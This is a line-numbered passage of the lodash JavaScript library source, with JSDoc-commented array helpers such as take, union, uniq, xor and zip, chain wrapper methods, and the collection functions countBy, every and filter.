8248 * @param {number} [n=1] The number of elements to take.
8249 * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
8250 * @returns {Array} Returns the slice of `array`.
8251 * @example
8252 *
8253 * _.take([1, 2, 3]);
8254 * // => [1]
8255 *
8256 * _.take([1, 2, 3], 2);
8257 * // => [1, 2]
8258 *
8259 * _.take([1, 2, 3], 5);
8260 * // => [1, 2, 3]
8261 *
8262 * _.take([1, 2, 3], 0);
8263 * // => []
8264 */
8265 function take(array, n, guard) {
8266 if (!(array && array.length)) {
8267 return [];
8268 }
8269 n = (guard || n === undefined) ? 1 : toInteger(n);
8270 return baseSlice(array, 0, n < 0 ? 0 : n);
8271 }
8272
8273 /**
8274 * Creates a slice of `array` with `n` elements taken from the end.
8275 *
8276 * @static
8277 * @memberOf _
8278 * @since 3.0.0
8279 * @category Array
8280 * @param {Array} array The array to query.
8281 * @param {number} [n=1] The number of elements to take.
8282 * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
8283 * @returns {Array} Returns the slice of `array`.
8284 * @example
8285 *
8286 * _.takeRight([1, 2, 3]);
8287 * // => [3]
8288 *
8289 * _.takeRight([1, 2, 3], 2);
8290 * // => [2, 3]
8291 *
8292 * _.takeRight([1, 2, 3], 5);
8293 * // => [1, 2, 3]
8294 *
8295 * _.takeRight([1, 2, 3], 0);
8296 * // => []
8297 */
8298 function takeRight(array, n, guard) {
8299 var length = array == null ? 0 : array.length;
8300 if (!length) {
8301 return [];
8302 }
8303 n = (guard || n === undefined) ? 1 : toInteger(n);
8304 n = length - n;
8305 return baseSlice(array, n < 0 ? 0 : n, length);
8306 }
8307
8308 /**
8309 * Creates a slice of `array` with elements taken from the end. Elements are
8310 * taken until `predicate` returns falsey. The predicate is invoked with
8311 * three arguments: (value, index, array).
8312 *
8313 * @static
8314 * @memberOf _
8315 * @since 3.0.0
8316 * @category Array
8317 * @param {Array} array The array to query.
8318 * @param {Function} [predicate=_.identity] The function invoked per iteration.
8319 * @returns {Array} Returns the slice of `array`.
8320 * @example
8321 *
8322 * var users = [
8323 * { 'user': 'barney', 'active': true },
8324 * { 'user': 'fred', 'active': false },
8325 * { 'user': 'pebbles', 'active': false }
8326 * ];
8327 *
8328 * _.takeRightWhile(users, function(o) { return !o.active; });
8329 * // => objects for ['fred', 'pebbles']
8330 *
8331 * // The `_.matches` iteratee shorthand.
8332 * _.takeRightWhile(users, { 'user': 'pebbles', 'active': false });
8333 * // => objects for ['pebbles']
8334 *
8335 * // The `_.matchesProperty` iteratee shorthand.
8336 * _.takeRightWhile(users, ['active', false]);
8337 * // => objects for ['fred', 'pebbles']
8338 *
8339 * // The `_.property` iteratee shorthand.
8340 * _.takeRightWhile(users, 'active');
8341 * // => []
8342 */
8343 function takeRightWhile(array, predicate) {
8344 return (array && array.length)
8345 ? baseWhile(array, getIteratee(predicate, 3), false, true)
8346 : [];
8347 }
8348
8349 /**
8350 * Creates a slice of `array` with elements taken from the beginning. Elements
8351 * are taken until `predicate` returns falsey. The predicate is invoked with
8352 * three arguments: (value, index, array).
8353 *
8354 * @static
8355 * @memberOf _
8356 * @since 3.0.0
8357 * @category Array
8358 * @param {Array} array The array to query.
8359 * @param {Function} [predicate=_.identity] The function invoked per iteration.
8360 * @returns {Array} Returns the slice of `array`.
8361 * @example
8362 *
8363 * var users = [
8364 * { 'user': 'barney', 'active': false },
8365 * { 'user': 'fred', 'active': false },
8366 * { 'user': 'pebbles', 'active': true }
8367 * ];
8368 *
8369 * _.takeWhile(users, function(o) { return !o.active; });
8370 * // => objects for ['barney', 'fred']
8371 *
8372 * // The `_.matches` iteratee shorthand.
8373 * _.takeWhile(users, { 'user': 'barney', 'active': false });
8374 * // => objects for ['barney']
8375 *
8376 * // The `_.matchesProperty` iteratee shorthand.
8377 * _.takeWhile(users, ['active', false]);
8378 * // => objects for ['barney', 'fred']
8379 *
8380 * // The `_.property` iteratee shorthand.
8381 * _.takeWhile(users, 'active');
8382 * // => []
8383 */
8384 function takeWhile(array, predicate) {
8385 return (array && array.length)
8386 ? baseWhile(array, getIteratee(predicate, 3))
8387 : [];
8388 }
8389
8390 /**
8391 * Creates an array of unique values, in order, from all given arrays using
8392 * [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
8393 * for equality comparisons.
8394 *
8395 * @static
8396 * @memberOf _
8397 * @since 0.1.0
8398 * @category Array
8399 * @param {...Array} [arrays] The arrays to inspect.
8400 * @returns {Array} Returns the new array of combined values.
8401 * @example
8402 *
8403 * _.union([2], [1, 2]);
8404 * // => [2, 1]
8405 */
8406 var union = baseRest(function(arrays) {
8407 return baseUniq(baseFlatten(arrays, 1, isArrayLikeObject, true));
8408 });
8409
8410 /**
8411 * This method is like `_.union` except that it accepts `iteratee` which is
8412 * invoked for each element of each `arrays` to generate the criterion by
8413 * which uniqueness is computed. Result values are chosen from the first
8414 * array in which the value occurs. The iteratee is invoked with one argument:
8415 * (value).
8416 *
8417 * @static
8418 * @memberOf _
8419 * @since 4.0.0
8420 * @category Array
8421 * @param {...Array} [arrays] The arrays to inspect.
8422 * @param {Function} [iteratee=_.identity] The iteratee invoked per element.
8423 * @returns {Array} Returns the new array of combined values.
8424 * @example
8425 *
8426 * _.unionBy([2.1], [1.2, 2.3], Math.floor);
8427 * // => [2.1, 1.2]
8428 *
8429 * // The `_.property` iteratee shorthand.
8430 * _.unionBy([{ 'x': 1 }], [{ 'x': 2 }, { 'x': 1 }], 'x');
8431 * // => [{ 'x': 1 }, { 'x': 2 }]
8432 */
8433 var unionBy = baseRest(function(arrays) {
8434 var iteratee = last(arrays);
8435 if (isArrayLikeObject(iteratee)) {
8436 iteratee = undefined;
8437 }
8438 return baseUniq(baseFlatten(arrays, 1, isArrayLikeObject, true), getIteratee(iteratee, 2));
8439 });
8440
8441 /**
8442 * This method is like `_.union` except that it accepts `comparator` which
8443 * is invoked to compare elements of `arrays`. Result values are chosen from
8444 * the first array in which the value occurs. The comparator is invoked
8445 * with two arguments: (arrVal, othVal).
8446 *
8447 * @static
8448 * @memberOf _
8449 * @since 4.0.0
8450 * @category Array
8451 * @param {...Array} [arrays] The arrays to inspect.
8452 * @param {Function} [comparator] The comparator invoked per element.
8453 * @returns {Array} Returns the new array of combined values.
8454 * @example
8455 *
8456 * var objects = [{ 'x': 1, 'y': 2 }, { 'x': 2, 'y': 1 }];
8457 * var others = [{ 'x': 1, 'y': 1 }, { 'x': 1, 'y': 2 }];
8458 *
8459 * _.unionWith(objects, others, _.isEqual);
8460 * // => [{ 'x': 1, 'y': 2 }, { 'x': 2, 'y': 1 }, { 'x': 1, 'y': 1 }]
8461 */
8462 var unionWith = baseRest(function(arrays) {
8463 var comparator = last(arrays);
8464 comparator = typeof comparator == 'function' ? comparator : undefined;
8465 return baseUniq(baseFlatten(arrays, 1, isArrayLikeObject, true), undefined, comparator);
8466 });
8467
8468 /**
8469 * Creates a duplicate-free version of an array, using
8470 * [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
8471 * for equality comparisons, in which only the first occurrence of each element
8472 * is kept. The order of result values is determined by the order they occur
8473 * in the array.
8474 *
8475 * @static
8476 * @memberOf _
8477 * @since 0.1.0
8478 * @category Array
8479 * @param {Array} array The array to inspect.
8480 * @returns {Array} Returns the new duplicate free array.
8481 * @example
8482 *
8483 * _.uniq([2, 1, 2]);
8484 * // => [2, 1]
8485 */
8486 function uniq(array) {
8487 return (array && array.length) ? baseUniq(array) : [];
8488 }
8489
8490 /**
8491 * This method is like `_.uniq` except that it accepts `iteratee` which is
8492 * invoked for each element in `array` to generate the criterion by which
8493 * uniqueness is computed. The order of result values is determined by the
8494 * order they occur in the array. The iteratee is invoked with one argument:
8495 * (value).
8496 *
8497 * @static
8498 * @memberOf _
8499 * @since 4.0.0
8500 * @category Array
8501 * @param {Array} array The array to inspect.
8502 * @param {Function} [iteratee=_.identity] The iteratee invoked per element.
8503 * @returns {Array} Returns the new duplicate free array.
8504 * @example
8505 *
8506 * _.uniqBy([2.1, 1.2, 2.3], Math.floor);
8507 * // => [2.1, 1.2]
8508 *
8509 * // The `_.property` iteratee shorthand.
8510 * _.uniqBy([{ 'x': 1 }, { 'x': 2 }, { 'x': 1 }], 'x');
8511 * // => [{ 'x': 1 }, { 'x': 2 }]
8512 */
8513 function uniqBy(array, iteratee) {
8514 return (array && array.length) ? baseUniq(array, getIteratee(iteratee, 2)) : [];
8515 }
8516
8517 /**
8518 * This method is like `_.uniq` except that it accepts `comparator` which
8519 * is invoked to compare elements of `array`. The order of result values is
8520 * determined by the order they occur in the array.The comparator is invoked
8521 * with two arguments: (arrVal, othVal).
8522 *
8523 * @static
8524 * @memberOf _
8525 * @since 4.0.0
8526 * @category Array
8527 * @param {Array} array The array to inspect.
8528 * @param {Function} [comparator] The comparator invoked per element.
8529 * @returns {Array} Returns the new duplicate free array.
8530 * @example
8531 *
8532 * var objects = [{ 'x': 1, 'y': 2 }, { 'x': 2, 'y': 1 }, { 'x': 1, 'y': 2 }];
8533 *
8534 * _.uniqWith(objects, _.isEqual);
8535 * // => [{ 'x': 1, 'y': 2 }, { 'x': 2, 'y': 1 }]
8536 */
8537 function uniqWith(array, comparator) {
8538 comparator = typeof comparator == 'function' ? comparator : undefined;
8539 return (array && array.length) ? baseUniq(array, undefined, comparator) : [];
8540 }
8541
8542 /**
8543 * This method is like `_.zip` except that it accepts an array of grouped
8544 * elements and creates an array regrouping the elements to their pre-zip
8545 * configuration.
8546 *
8547 * @static
8548 * @memberOf _
8549 * @since 1.2.0
8550 * @category Array
8551 * @param {Array} array The array of grouped elements to process.
8552 * @returns {Array} Returns the new array of regrouped elements.
8553 * @example
8554 *
8555 * var zipped = _.zip(['a', 'b'], [1, 2], [true, false]);
8556 * // => [['a', 1, true], ['b', 2, false]]
8557 *
8558 * _.unzip(zipped);
8559 * // => [['a', 'b'], [1, 2], [true, false]]
8560 */
8561 function unzip(array) {
8562 if (!(array && array.length)) {
8563 return [];
8564 }
8565 var length = 0;
8566 array = arrayFilter(array, function(group) {
8567 if (isArrayLikeObject(group)) {
8568 length = nativeMax(group.length, length);
8569 return true;
8570 }
8571 });
8572 return baseTimes(length, function(index) {
8573 return arrayMap(array, baseProperty(index));
8574 });
8575 }
8576
8577 /**
8578 * This method is like `_.unzip` except that it accepts `iteratee` to specify
8579 * how regrouped values should be combined. The iteratee is invoked with the
8580 * elements of each group: (...group).
8581 *
8582 * @static
8583 * @memberOf _
8584 * @since 3.8.0
8585 * @category Array
8586 * @param {Array} array The array of grouped elements to process.
8587 * @param {Function} [iteratee=_.identity] The function to combine
8588 * regrouped values.
8589 * @returns {Array} Returns the new array of regrouped elements.
8590 * @example
8591 *
8592 * var zipped = _.zip([1, 2], [10, 20], [100, 200]);
8593 * // => [[1, 10, 100], [2, 20, 200]]
8594 *
8595 * _.unzipWith(zipped, _.add);
8596 * // => [3, 30, 300]
8597 */
8598 function unzipWith(array, iteratee) {
8599 if (!(array && array.length)) {
8600 return [];
8601 }
8602 var result = unzip(array);
8603 if (iteratee == null) {
8604 return result;
8605 }
8606 return arrayMap(result, function(group) {
8607 return apply(iteratee, undefined, group);
8608 });
8609 }
8610
8611 /**
8612 * Creates an array excluding all given values using
8613 * [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
8614 * for equality comparisons.
8615 *
8616 * **Note:** Unlike `_.pull`, this method returns a new array.
8617 *
8618 * @static
8619 * @memberOf _
8620 * @since 0.1.0
8621 * @category Array
8622 * @param {Array} array The array to inspect.
8623 * @param {...*} [values] The values to exclude.
8624 * @returns {Array} Returns the new array of filtered values.
8625 * @see _.difference, _.xor
8626 * @example
8627 *
8628 * _.without([2, 1, 2, 3], 1, 2);
8629 * // => [3]
8630 */
8631 var without = baseRest(function(array, values) {
8632 return isArrayLikeObject(array)
8633 ? baseDifference(array, values)
8634 : [];
8635 });
8636
8637 /**
8638 * Creates an array of unique values that is the
8639 * [symmetric difference](https://en.wikipedia.org/wiki/Symmetric_difference)
8640 * of the given arrays. The order of result values is determined by the order
8641 * they occur in the arrays.
8642 *
8643 * @static
8644 * @memberOf _
8645 * @since 2.4.0
8646 * @category Array
8647 * @param {...Array} [arrays] The arrays to inspect.
8648 * @returns {Array} Returns the new array of filtered values.
8649 * @see _.difference, _.without
8650 * @example
8651 *
8652 * _.xor([2, 1], [2, 3]);
8653 * // => [1, 3]
8654 */
8655 var xor = baseRest(function(arrays) {
8656 return baseXor(arrayFilter(arrays, isArrayLikeObject));
8657 });
8658
8659 /**
8660 * This method is like `_.xor` except that it accepts `iteratee` which is
8661 * invoked for each element of each `arrays` to generate the criterion by
8662 * which by which they're compared. The order of result values is determined
8663 * by the order they occur in the arrays. The iteratee is invoked with one
8664 * argument: (value).
8665 *
8666 * @static
8667 * @memberOf _
8668 * @since 4.0.0
8669 * @category Array
8670 * @param {...Array} [arrays] The arrays to inspect.
8671 * @param {Function} [iteratee=_.identity] The iteratee invoked per element.
8672 * @returns {Array} Returns the new array of filtered values.
8673 * @example
8674 *
8675 * _.xorBy([2.1, 1.2], [2.3, 3.4], Math.floor);
8676 * // => [1.2, 3.4]
8677 *
8678 * // The `_.property` iteratee shorthand.
8679 * _.xorBy([{ 'x': 1 }], [{ 'x': 2 }, { 'x': 1 }], 'x');
8680 * // => [{ 'x': 2 }]
8681 */
8682 var xorBy = baseRest(function(arrays) {
8683 var iteratee = last(arrays);
8684 if (isArrayLikeObject(iteratee)) {
8685 iteratee = undefined;
8686 }
8687 return baseXor(arrayFilter(arrays, isArrayLikeObject), getIteratee(iteratee, 2));
8688 });
8689
8690 /**
8691 * This method is like `_.xor` except that it accepts `comparator` which is
8692 * invoked to compare elements of `arrays`. The order of result values is
8693 * determined by the order they occur in the arrays. The comparator is invoked
8694 * with two arguments: (arrVal, othVal).
8695 *
8696 * @static
8697 * @memberOf _
8698 * @since 4.0.0
8699 * @category Array
8700 * @param {...Array} [arrays] The arrays to inspect.
8701 * @param {Function} [comparator] The comparator invoked per element.
8702 * @returns {Array} Returns the new array of filtered values.
8703 * @example
8704 *
8705 * var objects = [{ 'x': 1, 'y': 2 }, { 'x': 2, 'y': 1 }];
8706 * var others = [{ 'x': 1, 'y': 1 }, { 'x': 1, 'y': 2 }];
8707 *
8708 * _.xorWith(objects, others, _.isEqual);
8709 * // => [{ 'x': 2, 'y': 1 }, { 'x': 1, 'y': 1 }]
8710 */
8711 var xorWith = baseRest(function(arrays) {
8712 var comparator = last(arrays);
8713 comparator = typeof comparator == 'function' ? comparator : undefined;
8714 return baseXor(arrayFilter(arrays, isArrayLikeObject), undefined, comparator);
8715 });
8716
8717 /**
8718 * Creates an array of grouped elements, the first of which contains the
8719 * first elements of the given arrays, the second of which contains the
8720 * second elements of the given arrays, and so on.
8721 *
8722 * @static
8723 * @memberOf _
8724 * @since 0.1.0
8725 * @category Array
8726 * @param {...Array} [arrays] The arrays to process.
8727 * @returns {Array} Returns the new array of grouped elements.
8728 * @example
8729 *
8730 * _.zip(['a', 'b'], [1, 2], [true, false]);
8731 * // => [['a', 1, true], ['b', 2, false]]
8732 */
8733 var zip = baseRest(unzip);
8734
8735 /**
8736 * This method is like `_.fromPairs` except that it accepts two arrays,
8737 * one of property identifiers and one of corresponding values.
8738 *
8739 * @static
8740 * @memberOf _
8741 * @since 0.4.0
8742 * @category Array
8743 * @param {Array} [props=[]] The property identifiers.
8744 * @param {Array} [values=[]] The property values.
8745 * @returns {Object} Returns the new object.
8746 * @example
8747 *
8748 * _.zipObject(['a', 'b'], [1, 2]);
8749 * // => { 'a': 1, 'b': 2 }
8750 */
8751 function zipObject(props, values) {
8752 return baseZipObject(props || [], values || [], assignValue);
8753 }
8754
8755 /**
8756 * This method is like `_.zipObject` except that it supports property paths.
8757 *
8758 * @static
8759 * @memberOf _
8760 * @since 4.1.0
8761 * @category Array
8762 * @param {Array} [props=[]] The property identifiers.
8763 * @param {Array} [values=[]] The property values.
8764 * @returns {Object} Returns the new object.
8765 * @example
8766 *
8767 * _.zipObjectDeep(['a.b[0].c', 'a.b[1].d'], [1, 2]);
8768 * // => { 'a': { 'b': [{ 'c': 1 }, { 'd': 2 }] } }
8769 */
8770 function zipObjectDeep(props, values) {
8771 return baseZipObject(props || [], values || [], baseSet);
8772 }
8773
8774 /**
8775 * This method is like `_.zip` except that it accepts `iteratee` to specify
8776 * how grouped values should be combined. The iteratee is invoked with the
8777 * elements of each group: (...group).
8778 *
8779 * @static
8780 * @memberOf _
8781 * @since 3.8.0
8782 * @category Array
8783 * @param {...Array} [arrays] The arrays to process.
8784 * @param {Function} [iteratee=_.identity] The function to combine
8785 * grouped values.
8786 * @returns {Array} Returns the new array of grouped elements.
8787 * @example
8788 *
8789 * _.zipWith([1, 2], [10, 20], [100, 200], function(a, b, c) {
8790 * return a + b + c;
8791 * });
8792 * // => [111, 222]
8793 */
8794 var zipWith = baseRest(function(arrays) {
8795 var length = arrays.length,
8796 iteratee = length > 1 ? arrays[length - 1] : undefined;
8797
8798 iteratee = typeof iteratee == 'function' ? (arrays.pop(), iteratee) : undefined;
8799 return unzipWith(arrays, iteratee);
8800 });
8801
8802 /*------------------------------------------------------------------------*/
8803
8804 /**
8805 * Creates a `lodash` wrapper instance that wraps `value` with explicit method
8806 * chain sequences enabled. The result of such sequences must be unwrapped
8807 * with `_#value`.
8808 *
8809 * @static
8810 * @memberOf _
8811 * @since 1.3.0
8812 * @category Seq
8813 * @param {*} value The value to wrap.
8814 * @returns {Object} Returns the new `lodash` wrapper instance.
8815 * @example
8816 *
8817 * var users = [
8818 * { 'user': 'barney', 'age': 36 },
8819 * { 'user': 'fred', 'age': 40 },
8820 * { 'user': 'pebbles', 'age': 1 }
8821 * ];
8822 *
8823 * var youngest = _
8824 * .chain(users)
8825 * .sortBy('age')
8826 * .map(function(o) {
8827 * return o.user + ' is ' + o.age;
8828 * })
8829 * .head()
8830 * .value();
8831 * // => 'pebbles is 1'
8832 */
8833 function chain(value) {
8834 var result = lodash(value);
8835 result.__chain__ = true;
8836 return result;
8837 }
8838
8839 /**
8840 * This method invokes `interceptor` and returns `value`. The interceptor
8841 * is invoked with one argument; (value). The purpose of this method is to
8842 * "tap into" a method chain sequence in order to modify intermediate results.
8843 *
8844 * @static
8845 * @memberOf _
8846 * @since 0.1.0
8847 * @category Seq
8848 * @param {*} value The value to provide to `interceptor`.
8849 * @param {Function} interceptor The function to invoke.
8850 * @returns {*} Returns `value`.
8851 * @example
8852 *
8853 * _([1, 2, 3])
8854 * .tap(function(array) {
8855 * // Mutate input array.
8856 * array.pop();
8857 * })
8858 * .reverse()
8859 * .value();
8860 * // => [2, 1]
8861 */
8862 function tap(value, interceptor) {
8863 interceptor(value);
8864 return value;
8865 }
8866
8867 /**
8868 * This method is like `_.tap` except that it returns the result of `interceptor`.
8869 * The purpose of this method is to "pass thru" values replacing intermediate
8870 * results in a method chain sequence.
8871 *
8872 * @static
8873 * @memberOf _
8874 * @since 3.0.0
8875 * @category Seq
8876 * @param {*} value The value to provide to `interceptor`.
8877 * @param {Function} interceptor The function to invoke.
8878 * @returns {*} Returns the result of `interceptor`.
8879 * @example
8880 *
8881 * _(' abc ')
8882 * .chain()
8883 * .trim()
8884 * .thru(function(value) {
8885 * return [value];
8886 * })
8887 * .value();
8888 * // => ['abc']
8889 */
8890 function thru(value, interceptor) {
8891 return interceptor(value);
8892 }
8893
8894 /**
8895 * This method is the wrapper version of `_.at`.
8896 *
8897 * @name at
8898 * @memberOf _
8899 * @since 1.0.0
8900 * @category Seq
8901 * @param {...(string|string[])} [paths] The property paths to pick.
8902 * @returns {Object} Returns the new `lodash` wrapper instance.
8903 * @example
8904 *
8905 * var object = { 'a': [{ 'b': { 'c': 3 } }, 4] };
8906 *
8907 * _(object).at(['a[0].b.c', 'a[1]']).value();
8908 * // => [3, 4]
8909 */
8910 var wrapperAt = flatRest(function(paths) {
8911 var length = paths.length,
8912 start = length ? paths[0] : 0,
8913 value = this.__wrapped__,
8914 interceptor = function(object) { return baseAt(object, paths); };
8915
8916 if (length > 1 || this.__actions__.length ||
8917 !(value instanceof LazyWrapper) || !isIndex(start)) {
8918 return this.thru(interceptor);
8919 }
8920 value = value.slice(start, +start + (length ? 1 : 0));
8921 value.__actions__.push({
8922 'func': thru,
8923 'args': [interceptor],
8924 'thisArg': undefined
8925 });
8926 return new LodashWrapper(value, this.__chain__).thru(function(array) {
8927 if (length && !array.length) {
8928 array.push(undefined);
8929 }
8930 return array;
8931 });
8932 });
8933
8934 /**
8935 * Creates a `lodash` wrapper instance with explicit method chain sequences enabled.
8936 *
8937 * @name chain
8938 * @memberOf _
8939 * @since 0.1.0
8940 * @category Seq
8941 * @returns {Object} Returns the new `lodash` wrapper instance.
8942 * @example
8943 *
8944 * var users = [
8945 * { 'user': 'barney', 'age': 36 },
8946 * { 'user': 'fred', 'age': 40 }
8947 * ];
8948 *
8949 * // A sequence without explicit chaining.
8950 * _(users).head();
8951 * // => { 'user': 'barney', 'age': 36 }
8952 *
8953 * // A sequence with explicit chaining.
8954 * _(users)
8955 * .chain()
8956 * .head()
8957 * .pick('user')
8958 * .value();
8959 * // => { 'user': 'barney' }
8960 */
8961 function wrapperChain() {
8962 return chain(this);
8963 }
8964
8965 /**
8966 * Executes the chain sequence and returns the wrapped result.
8967 *
8968 * @name commit
8969 * @memberOf _
8970 * @since 3.2.0
8971 * @category Seq
8972 * @returns {Object} Returns the new `lodash` wrapper instance.
8973 * @example
8974 *
8975 * var array = [1, 2];
8976 * var wrapped = _(array).push(3);
8977 *
8978 * console.log(array);
8979 * // => [1, 2]
8980 *
8981 * wrapped = wrapped.commit();
8982 * console.log(array);
8983 * // => [1, 2, 3]
8984 *
8985 * wrapped.last();
8986 * // => 3
8987 *
8988 * console.log(array);
8989 * // => [1, 2, 3]
8990 */
8991 function wrapperCommit() {
8992 return new LodashWrapper(this.value(), this.__chain__);
8993 }
8994
8995 /**
8996 * Gets the next value on a wrapped object following the
8997 * [iterator protocol](https://mdn.io/iteration_protocols#iterator).
8998 *
8999 * @name next
9000 * @memberOf _
9001 * @since 4.0.0
9002 * @category Seq
9003 * @returns {Object} Returns the next iterator value.
9004 * @example
9005 *
9006 * var wrapped = _([1, 2]);
9007 *
9008 * wrapped.next();
9009 * // => { 'done': false, 'value': 1 }
9010 *
9011 * wrapped.next();
9012 * // => { 'done': false, 'value': 2 }
9013 *
9014 * wrapped.next();
9015 * // => { 'done': true, 'value': undefined }
9016 */
9017 function wrapperNext() {
9018 if (this.__values__ === undefined) {
9019 this.__values__ = toArray(this.value());
9020 }
9021 var done = this.__index__ >= this.__values__.length,
9022 value = done ? undefined : this.__values__[this.__index__++];
9023
9024 return { 'done': done, 'value': value };
9025 }
9026
9027 /**
9028 * Enables the wrapper to be iterable.
9029 *
9030 * @name Symbol.iterator
9031 * @memberOf _
9032 * @since 4.0.0
9033 * @category Seq
9034 * @returns {Object} Returns the wrapper object.
9035 * @example
9036 *
9037 * var wrapped = _([1, 2]);
9038 *
9039 * wrapped[Symbol.iterator]() === wrapped;
9040 * // => true
9041 *
9042 * Array.from(wrapped);
9043 * // => [1, 2]
9044 */
9045 function wrapperToIterator() {
9046 return this;
9047 }
9048
9049 /**
9050 * Creates a clone of the chain sequence planting `value` as the wrapped value.
9051 *
9052 * @name plant
9053 * @memberOf _
9054 * @since 3.2.0
9055 * @category Seq
9056 * @param {*} value The value to plant.
9057 * @returns {Object} Returns the new `lodash` wrapper instance.
9058 * @example
9059 *
9060 * function square(n) {
9061 * return n * n;
9062 * }
9063 *
9064 * var wrapped = _([1, 2]).map(square);
9065 * var other = wrapped.plant([3, 4]);
9066 *
9067 * other.value();
9068 * // => [9, 16]
9069 *
9070 * wrapped.value();
9071 * // => [1, 4]
9072 */
9073 function wrapperPlant(value) {
9074 var result,
9075 parent = this;
9076
9077 while (parent instanceof baseLodash) {
9078 var clone = wrapperClone(parent);
9079 clone.__index__ = 0;
9080 clone.__values__ = undefined;
9081 if (result) {
9082 previous.__wrapped__ = clone;
9083 } else {
9084 result = clone;
9085 }
9086 var previous = clone;
9087 parent = parent.__wrapped__;
9088 }
9089 previous.__wrapped__ = value;
9090 return result;
9091 }
9092
9093 /**
9094 * This method is the wrapper version of `_.reverse`.
9095 *
9096 * **Note:** This method mutates the wrapped array.
9097 *
9098 * @name reverse
9099 * @memberOf _
9100 * @since 0.1.0
9101 * @category Seq
9102 * @returns {Object} Returns the new `lodash` wrapper instance.
9103 * @example
9104 *
9105 * var array = [1, 2, 3];
9106 *
9107 * _(array).reverse().value()
9108 * // => [3, 2, 1]
9109 *
9110 * console.log(array);
9111 * // => [3, 2, 1]
9112 */
9113 function wrapperReverse() {
9114 var value = this.__wrapped__;
9115 if (value instanceof LazyWrapper) {
9116 var wrapped = value;
9117 if (this.__actions__.length) {
9118 wrapped = new LazyWrapper(this);
9119 }
9120 wrapped = wrapped.reverse();
9121 wrapped.__actions__.push({
9122 'func': thru,
9123 'args': [reverse],
9124 'thisArg': undefined
9125 });
9126 return new LodashWrapper(wrapped, this.__chain__);
9127 }
9128 return this.thru(reverse);
9129 }
9130
9131 /**
9132 * Executes the chain sequence to resolve the unwrapped value.
9133 *
9134 * @name value
9135 * @memberOf _
9136 * @since 0.1.0
9137 * @alias toJSON, valueOf
9138 * @category Seq
9139 * @returns {*} Returns the resolved unwrapped value.
9140 * @example
9141 *
9142 * _([1, 2, 3]).value();
9143 * // => [1, 2, 3]
9144 */
9145 function wrapperValue() {
9146 return baseWrapperValue(this.__wrapped__, this.__actions__);
9147 }
9148
9149 /*------------------------------------------------------------------------*/
9150
9151 /**
9152 * Creates an object composed of keys generated from the results of running
9153 * each element of `collection` thru `iteratee`. The corresponding value of
9154 * each key is the number of times the key was returned by `iteratee`. The
9155 * iteratee is invoked with one argument: (value).
9156 *
9157 * @static
9158 * @memberOf _
9159 * @since 0.5.0
9160 * @category Collection
9161 * @param {Array|Object} collection The collection to iterate over.
9162 * @param {Function} [iteratee=_.identity] The iteratee to transform keys.
9163 * @returns {Object} Returns the composed aggregate object.
9164 * @example
9165 *
9166 * _.countBy([6.1, 4.2, 6.3], Math.floor);
9167 * // => { '4': 1, '6': 2 }
9168 *
9169 * // The `_.property` iteratee shorthand.
9170 * _.countBy(['one', 'two', 'three'], 'length');
9171 * // => { '3': 2, '5': 1 }
9172 */
9173 var countBy = createAggregator(function(result, value, key) {
9174 if (hasOwnProperty.call(result, key)) {
9175 ++result[key];
9176 } else {
9177 baseAssignValue(result, key, 1);
9178 }
9179 });
9180
9181 /**
9182 * Checks if `predicate` returns truthy for **all** elements of `collection`.
9183 * Iteration is stopped once `predicate` returns falsey. The predicate is
9184 * invoked with three arguments: (value, index|key, collection).
9185 *
9186 * **Note:** This method returns `true` for
9187 * [empty collections](https://en.wikipedia.org/wiki/Empty_set) because
9188 * [everything is true](https://en.wikipedia.org/wiki/Vacuous_truth) of
9189 * elements of empty collections.
9190 *
9191 * @static
9192 * @memberOf _
9193 * @since 0.1.0
9194 * @category Collection
9195 * @param {Array|Object} collection The collection to iterate over.
9196 * @param {Function} [predicate=_.identity] The function invoked per iteration.
9197 * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
9198 * @returns {boolean} Returns `true` if all elements pass the predicate check,
9199 * else `false`.
9200 * @example
9201 *
9202 * _.every([true, 1, null, 'yes'], Boolean);
9203 * // => false
9204 *
9205 * var users = [
9206 * { 'user': 'barney', 'age': 36, 'active': false },
9207 * { 'user': 'fred', 'age': 40, 'active': false }
9208 * ];
9209 *
9210 * // The `_.matches` iteratee shorthand.
9211 * _.every(users, { 'user': 'barney', 'active': false });
9212 * // => false
9213 *
9214 * // The `_.matchesProperty` iteratee shorthand.
9215 * _.every(users, ['active', false]);
9216 * // => true
9217 *
9218 * // The `_.property` iteratee shorthand.
9219 * _.every(users, 'active');
9220 * // => false
9221 */
9222 function every(collection, predicate, guard) {
9223 var func = isArray(collection) ? arrayEvery : baseEvery;
9224 if (guard && isIterateeCall(collection, predicate, guard)) {
9225 predicate = undefined;
9226 }
9227 return func(collection, getIteratee(predicate, 3));
9228 }
9229
9230 /**
9231 * Iterates over elements of `collection`, returning an array of all elements
9232 * `predicate` returns truthy for. The predicate is invoked with three
9233 * arguments: (value, index|key, collection).
9234 *
9235 * **Note:** Unlike `_.remove`, this method returns a new array.
9236 *
9237 * @static
9238 * @memberOf _
9239 * @since 0.1.0
9240 * @category Collection
9241 * @param {Array|Object} collection The collection to iterate over.
9242 * @param {Function} [predicate=_.identity] The function invoked per iteration.
9243 * @returns {Array} Returns the new filtered array.
9244 * @see _.reject
9245 * @example
9246 *
9247 * var users = [
9248 * { 'user': 'barney', 'age': 36, 'active': true },
9249 * { 'user': 'fred', 'age': 40, 'active': false }
9250 * ];
9251 *
9252 * _.filter(users, function(o) { return !o.active; });
9253 * // => objects for ['fred']
9254 *
9255 * // The `_.matches` iteratee shorthand.
9256 * _.filter(users, { 'age': 36, 'active': true });
9257 * // => objects for ['barney']
9258 *
9259 * // The `_.matchesProperty` iteratee shorthand.
9260 * _.filter(users, ['active', false]);
9261 * // => objects for ['fred']
9262 *
9263 * // The `_.property` iteratee shorthand.
9264 * _.filter(users, 'active');
9265 * // => objects for ['barney']
9266 *
9267 * // Combining several predicates using `_.overEvery` or `_.overSome`.
9268 * _.filter(users, _.overSome([{ 'age': 36 }, ['age', 40]]));
9269 * // => objects for ['fred', 'barney']
9270 */
9271 function filter(collection, predicate) {
9272 var func = isArray(collection) ? arrayFilter : baseFilter;
9273 return func(collection, getIteratee(predicate, 3));
9274 }
9275
9276 /**
9277 * Iterates over elements of `collection`, returning the first element
